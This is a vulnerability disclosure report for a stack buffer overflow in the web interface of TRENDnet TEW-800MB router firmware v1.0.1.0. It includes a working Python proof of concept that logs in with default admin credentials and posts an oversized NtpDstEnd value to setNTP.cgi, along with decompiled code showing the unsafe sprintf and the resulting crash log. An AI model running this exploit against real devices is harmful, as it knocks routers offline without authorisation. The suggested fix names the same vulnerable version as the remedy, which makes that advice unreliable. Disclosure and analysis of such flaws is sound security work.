

# CVE Report - Buffer Overflow Vulnerability in Trendnet fw\_tew800mb(v1.0.1.0) Routers

## Vulnerability Title

Buffer Overflow Vulnerability in fw\_tew800mb(v1.0.1.0) Routers

## Vulnerability Description

TRENDnet fw\_tew800mb devices have an buffer overflow vulnerability in the sub\_33A0C, which allows remote attackers to cause web crash via parameter "NtpDstEnd" passed to the binary through a POST request.

## POC

```
#coding=gbk
import requests
import base64
import re

if __name__ == '__main__':
    print('start !!! ')

    target = "172.17.0.11"
    username = "admin"
    password = "admin"
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept':
            "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif, image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
        'Connection': "close",
```

```

        'Upgrade-Insecure-Requests': '1'
    }
    response = s.request("GET",
f'http://{target}/wizard/wizard.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^\"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
    print(token_match)
    exit

    burp0_url = "http://" + target + "/setNTP.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'token': f'{token_value}',
        'page': 'a',
        'timeTag': 'b',
        'NtpDstEnable': '1',
        'NtpDstEnd': 'a'*200,
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print("end !!! ")

```

## Cause Analysis

The Getvalue function accepts external data. The user affects v5 by setting the NtpDstEnd value. It cause web server crash.

```
nvram_get("NtpDstStart", v12),  
v13 = Getvalue((int)"NtpDstEnd");  
if ( v13 )  
    nvram_set("NtpDstEnd", v13);  
sub_33A0C();
```

```
int sub_33A0C()  
{  
    const char *v0; // r5  
    const char *v1; // r7  
    const char *v2; // r6  
    const char *v3; // r0  
    char v5[152]; // [sp+8h] [bp-98h] BYREF  
  
    nvram_get("NtpDstEnable");  
    v0 = (const char *)nvram_get("NtpDstOffset");  
    v1 = (const char *)nvram_get("NtpDstStart");  
    v2 = (const char *)nvram_get("NtpDstEnd");  
    memset(v5, 0, 0x80u);  
    sprintf(v5, "dst %s %s %s &", v1, v2, v0);
```

## Attack effect

```
Invalid URL Redirect: a  
dst: already in DST range, set dststart_status=1  
dst: DST reset  
Segmentation fault (core dumped)
```

## Suggested Fix

It is recommended to update to the version fw\_tew800mb(v1.0.1.0) of router to fix this vulnerability.